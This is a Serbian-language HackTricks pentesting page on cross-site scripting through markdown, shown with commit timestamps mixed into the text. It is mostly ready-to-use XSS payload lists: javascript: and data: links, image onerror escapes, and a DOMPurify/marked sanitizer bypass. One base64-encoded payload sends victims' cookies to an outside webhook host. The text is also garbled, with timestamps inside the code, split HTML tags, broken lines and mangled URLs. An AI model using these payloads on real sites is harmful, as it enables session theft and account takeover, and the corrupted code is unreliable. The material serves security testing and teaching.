2024-04-06 19:39:21 +00:00
# XSS in Markdown
2022-05-05 23:53:10 +00:00
2022-10-11 12:43:12 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-10-11 12:43:12 +00:00
2024-02-10 13:11:20 +00:00
* Da li radite u **kompaniji za kibernetičku bezbednost** ? Želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu** ? Proverite [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-04-06 19:39:21 +00:00
* **Pridružite se** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **i** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-10-11 12:43:12 +00:00
< / details >
2024-02-10 13:11:20 +00:00
Ako imate priliku da ubacite kod u markdown, postoji nekoliko opcija koje možete koristiti da izazovete XSS kada se kod interpretira.
2022-05-05 23:53:10 +00:00
2024-02-10 13:11:20 +00:00
### HTML tagovi
2022-05-05 23:53:10 +00:00
2024-02-10 13:11:20 +00:00
Najčešći način za dobijanje XSS u markdown-u je ubacivanje uobičajenih HTML tagova koji izvršavaju javascript, jer će nekoliko markdown interpretera takođe prihvatiti HTML
2024-04-06 19:39:21 +00:00
2022-05-05 23:53:10 +00:00
```html
<!-- XSS with regular tags -->
< script > alert ( 1 ) < / script >
< img src = x onerror = alert(1) / >
```
2024-04-06 19:39:21 +00:00
2024-02-10 13:11:20 +00:00
Možete pronaći više primera na [glavnoj XSS stranici hacktricks ](./ ).
2022-05-05 23:53:10 +00:00
2024-02-10 13:11:20 +00:00
### Javascript linkovi
2022-05-05 23:53:10 +00:00
2024-02-10 13:11:20 +00:00
Ako HTML tagovi nisu opcija, uvek možete pokušati da se igrate sa sintaksom markdown-a:
2024-04-06 19:39:21 +00:00
2022-05-05 23:53:10 +00:00
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a ](javascript:prompt(document.cookie ))
<!-- Other links attacks with some bypasses -->
[Basic ](javascript:alert('Basic' ))
[Local Storage ](javascript:alert(JSON.stringify(localStorage )))
[CaseInsensitive ](JaVaScRiPt:alert('CaseInsensitive' ))
[URL ](javascript://www.google.com%0Aalert('URL' ))
[In Quotes ]('javascript:alert("InQuotes" )')
[a ](j a v a s c r i p t:prompt(document.cookie ))
[a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[a ](javascript:window.onerror=alert;throw%201 )
```
2024-04-06 19:39:21 +00:00
2024-02-10 13:11:20 +00:00
### Zloupotreba sintakse događaja Img
Jedna od tehnika XSS napada je zloupotreba sintakse događaja Img. Ova tehnika se koristi za ubacivanje zlonamernog koda u HTML dokument putem slike.
Da biste izvršili ovaj napad, koristite sledeću sintaksu:
```html
< img src = "neka_slika.jpg" onerror = "zlonamerni_kod" >
```
Kada se slika ne može učitati, događaj `onerror` će se aktivirati i izvršiti zlonamerni kod koji ste naveli.
2022-05-05 23:53:10 +00:00
2024-02-10 13:11:20 +00:00
Na primer, ako želite da prikažete alert dijalog sa porukom "XSS napad", koristite sledeći kod:
```html
< img src = "neka_slika.jpg" onerror = "alert('XSS napad')" >
```
2022-05-05 23:53:10 +00:00
2024-02-10 13:11:20 +00:00
Kada se slika ne može učitati, prikazaće se alert dijalog sa porukom "XSS napad".
Ova tehnika može biti veoma opasna jer omogućava napadaču da izvrši proizvoljan kod na strani žrtve. Zbog toga je važno da razvijatelji implementiraju odgovarajuće mere zaštite kako bi sprečili ovakve napade.
2024-04-06 19:39:21 +00:00
2022-05-05 23:53:10 +00:00
```markdown
![Uh oh... ]("onerror="alert('XSS' ))
![Uh oh... ](https://www.example.com/image.png"onload="alert('XSS' ))
![Escape SRC - onload ](https://www.example.com/image.png"onload="alert('ImageOnLoad' ))
![Escape SRC - onerror ]("onerror="alert('ImageOnError' ))
```
2024-04-06 19:39:21 +00:00
2024-02-10 13:11:20 +00:00
### Bypass HTML Sanitizer Markdown
2022-05-05 23:53:10 +00:00
2024-04-06 19:39:21 +00:00
Sledeći kod **sanitizuje HTML unos** a zatim ga **prosleđuje markdown parseru** , tada se XSS može pokrenuti zloupotrebom netačnog tumačenja između Markdown-a i DOMPurify
2022-05-05 23:53:10 +00:00
```html
2024-02-07 04:05:50 +00:00
<!-- from https://infosecwriteups.com/clique - writeup - %C3%A5ngstromctf - 2022 - e7ae871eaa0e -->
2022-05-05 23:53:10 +00:00
< script src = "https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js" > < / script >
< script src = "https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js" > < / script >
< script >
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
2024-02-10 13:11:20 +00:00
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
2022-05-05 23:53:10 +00:00
}
< / script >
```
2024-04-06 19:39:21 +00:00
2024-02-10 13:11:20 +00:00
Primeri payloada:
2024-04-06 19:39:21 +00:00
2022-05-05 23:53:10 +00:00
```html
< div id = "1
![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
-----------------------------------------------
< a title = "a
< img src = x onerror = alert(1) > ">yep< / a >
------------------------------------------------
[x ](y '<style>' )<!--</style><div id="x--> < img src = 1 onerror = alert(1) > "></ div >
----------------------------------------------
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))> ](#'></p> )
----------------------------------------------
2022-05-18 23:05:43 +00:00
`<p x="` < img src = x onerror = alert(1) > "></ p >
2022-05-05 23:53:10 +00:00
```
2024-04-06 19:39:21 +00:00
2024-02-10 13:11:20 +00:00
### Fuzziranje
Fuzziranje je tehnika koja se koristi za pronalaženje ranjivosti u aplikacijama. Ova tehnika podrazumeva slanje velikog broja nasumičnih ili polu-nasumičnih ulaznih podataka u ciljnu aplikaciju kako bi se otkrile greške ili ranjivosti. Fuzziranje se često koristi za pronalaženje ranjivosti u web aplikacijama, uključujući i XSS (Cross-Site Scripting) ranjivosti.
2022-05-05 23:53:10 +00:00
2024-02-10 13:11:20 +00:00
Da biste izvršili fuzziranje, možete koristiti alate kao što su Burp Suite, ZAP ili wfuzz. Ovi alati omogućavaju slanje različitih vrsta ulaznih podataka, kao što su nasumični nizovi, posebni znakovi ili kombinacije HTML tagova. Cilj je pronaći ulaz koji će izazvati neželjeno ponašanje aplikacije, kao što je izvršavanje zlonamernog koda.
2022-05-05 23:53:10 +00:00
2024-02-10 13:11:20 +00:00
Prilikom fuzziranja, važno je pratiti odgovore aplikacije na različite ulaze i analizirati ih kako biste identifikovali potencijalne ranjivosti. Takođe je važno imati dobro razumevanje ciljne aplikacije i njenih komponenti kako biste mogli da generišete relevantne ulaze za testiranje.
Fuzziranje je moćna tehnika koja može otkriti ranjivosti koje bi inače mogle proći neprimećene. Međutim, važno je napomenuti da je ova tehnika legalna samo kada se koristi u okviru zakonitog pentestinga ili sa pristankom vlasnika ciljne aplikacije.
2024-04-06 19:39:21 +00:00
2022-05-05 23:53:10 +00:00
```html
2024-02-10 13:11:20 +00:00
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
2022-05-05 23:53:10 +00:00
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->
[a ](javascript:prompt(document.cookie ))
[a ](j a v a s c r i p t:prompt(document.cookie ))
![a ](javascript:prompt(document.cookie ))\
< javascript:prompt ( document . cookie ) >
< & #x6A& #x61& #x76& #x61& #x73& #x63& #x72& #x69& #x70& #x74& #x3A& #x61& #x6C& #x65& #x72& #x74& #x28& #x27& #x58& #x53& #x53& #x27& #x29>
![a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )\
[a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[a ](javascript:alert('XSS') )
![a'"`onerror=prompt(document.cookie) ](x )\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious ](javascript:window.onerror=alert;throw%20document.cookie )
[test ](javascript://%0d%0aprompt(1 ))
[test ](javascript://%0d%0aprompt(1 );com)
[notmalicious ](javascript:window.onerror=alert;throw%20document.cookie )
[notmalicious ](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie )
[a ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[clickme ](vbscript:alert(document.domain ))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAABACAMAAADlCI9NAAACcFBMVEX/AAD//////f3//v7/0tL/AQH/cHD/Cwv/+/v/CQn/EBD/FRX/+Pj/ISH/PDz/6Oj/CAj/FBT/DAz/Bgb/rq7/p6f/gID/mpr/oaH/NTX/5+f/mZn/wcH/ICD/ERH/Skr/3Nz/AgL/trb/QED/z8//6+v/BAT/i4v/9fX/ZWX/x8f/aGj/ysr/8/P/UlL/8vL/T0//dXX/hIT/eXn/bGz/iIj/XV3/jo7/W1v/wMD/Hh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ubx3QC5bRMUuAEvA9kFzzW3TQAeVoB5cFw8zQUGPH9M4LwFgML5IpL6BHCvH0DmAD3xgIUpUJcTmy7UQHaV/bteKZ6GgGr3eAq4QQEmWlNqJ1z0BeTvgGfz4gAFsDXfUmbeAeoAF0OfuLL8C91jHnCtBchYq7YzsMsXIFkmDDsBjwBfi2o6GM9IrOshIp5mA6vc42Sg1wJMEVUJlPgDpBzWb3EAVsMOm5m7Hg5KrAjcJJ5uRn3uLAvosgBrRPUgnAgApC2HjtpRwFTneZRpqLs6Ak+Lp5lAj9+LccoCzLYPZjBA3gIGRgHj4EuxewH6JdZhKBVPM4CL7rEIiKo7kMAvILIEXplvA/bCR2JXAYMSawtkiqfaDHjNtYVfhzJJBvBGJ3zmADhv6054W71ZrBNvHZDigr0DDCcFkHeB8wog70G/2LXA+xIrh03i02Zgavx0Blo+SA5Q+yEcrVSAYvjYBhwEPrEoDZ+KX20wIe7G1ZtwTJIDyMYU+FwBeuGLpaLqg91NcqnqgQU9Yre/ETpzkwXIIKAAmRnQruboUeiVS1cHmF8pcv70bqBVkgak1tgAaYbuw9bj9kFjVN28wsJvxK9VFQDGzjVF7d9+9z1ARJIHyMxRQNo2SDn2408HBsY5njZJPcFbTomJo59H5HIAUmIDpPQXVGS0igfg7detBqptv/0ulwfIbbQB8kchVtNmiQsQUO7Qru37jpQX7WmS/6YZPXP+LPprbVgC0ul0Op1Op9Pp/gYrAa7fWhG7QQAAAABJRU5ErkJggg==);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
< http: // \<meta \ http-equiv = \"refresh \"\ content= \"0; \ url=http://danlec.com/ \"\>>
[text ](http://danlec.com " [@danlec](/danlec ) ")
[a ](javascript:this;alert(1 ))
[a ](javascript:this;alert(1) )
[a ](javascript:this;alert(1) )
[a ](Javascript:alert(1) )
[a ](Javas%26%2399;ript:alert(1) )
[a ](javascript:alert(1) )
[a ](javascript:confirm(1 )
[a ](javascript://www.google.com%0Aprompt(1 ))
[a ](javascript://%0d%0aconfirm(1 );com)
[a ](javascript:window.onerror=confirm;throw%201 )
[a ]( javascript:alert(document.domain) )
[a ](javascript://www.google.com%0Aalert(1 ))
[a ]('javascript:alert("1" )')
[a ](JaVaScRiPt:alert(1 ))
![a ](https://www.google.com/image.png"onload="alert(1 ))
![a ]("onerror="alert(1 ))
< /http://< ?php\>< \h1 \>< script:script > confirm(2)
[XSS ](.alert(1 );)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]] )
[ ](http://a?p=[[/onclick=alert(0 ) .]])
[a ](javascript:new%20Function`al\ert\`1\``; )
[XSS ](javascript:prompt(document.cookie ))
2024-02-10 13:11:20 +00:00
[X
2022-05-05 23:53:10 +00:00
[XSS ](javascript:alert('XSS') )
[XSS]: (javascript:prompt(document.cookie))
[XSS ](javascript:window.onerror=alert;throw%20document.cookie )
[XSS ](javascript://%0d%0aprompt(1 ))
[XSS ](javascript://%0d%0aprompt(1 );com)
[XSS ](javascript:window.onerror=alert;throw%20document.cookie )
[XSS ](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie )
[XSS ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )
[XSS ](vbscript:alert(document.domain ))
[XSS ](javascript:this;alert(1 ))
[XSS ](javascript:this;alert(1) )
[XSS ](javascript:this;alert(1) )
[XSS ](Javascript:alert(1) )
[XSS ](Javas%26%2399;ript:alert(1) )
[XSS ](javascript:alert(1) )
[XSS ](javascript:confirm(1 )
[XSS ](javascript://www.google.com%0Aprompt(1 ))
[XSS ](javascript://%0d%0aconfirm(1 );com)
[XSS ](javascript:window.onerror=confirm;throw%201 )
[XSS ](<EFBFBD> javascript:alert(document.domain) )
![XSS ](javascript:prompt(document.cookie ))\
![XSS ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )\
![XSS'"`onerror=prompt(document.cookie) ](x )\
```
2022-10-11 12:43:12 +00:00
2024-04-06 19:39:21 +00:00
[XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/&/README.md#x6A\a\v\a\s\c\r\i\p\t\:\a\l\e\r\t\(\'\X\S\S\'\) ) \[XSS]: (javascript:prompt(document.cookie)) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:window.onerror=alert;throw%20document.cookie ) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/prompt\(1\ )/README.md) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/prompt\(1\ );com/README.md) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:window.onerror=alert;throw%20document.cookie ) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/window.onerror=alert;throw%20document.cookie ) [XSS ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K ) [XSS ](vbscript:alert\(document.domain\ )) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:this;alert\(1\ )/README.md) \[XSS]\(javascript:this;alert(1)) \[XSS]\(javascript\:this ;alert(1)) \[XSS]\(Javascript:alert(1)) \[XSS]\(Javas%26%2399;ript:alert(1)) \[XSS]\(javascript:alert<72> (1)) \[XSS]\(javascript:confirm(1) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/www.google.comprompt\(1\ )) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/confirm\(1\ );com/README.md) [XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:window.onerror=confirm;throw%201 ) \[XSS]\(<28> javascript:alert(document.domain)) ![XSS ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:prompt\(document.cookie\ ))\
2024-02-10 13:11:20 +00:00
![XSS ](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K )\
2024-04-06 19:39:21 +00:00
![XSS'"\`onerror=prompt(document.cookie) ](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/x )\\
2024-02-10 13:11:20 +00:00
```
2022-10-11 12:43:12 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-10-11 12:43:12 +00:00
2024-02-10 13:11:20 +00:00
* Da li radite u **cybersecurity kompaniji** ? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u** ? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu** ? Proverite [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **Pridružite se** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo ](https://github.com/carlospolop/hacktricks ) i [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-10-11 12:43:12 +00:00
< / details >
2024-04-06 19:39:21 +00:00
```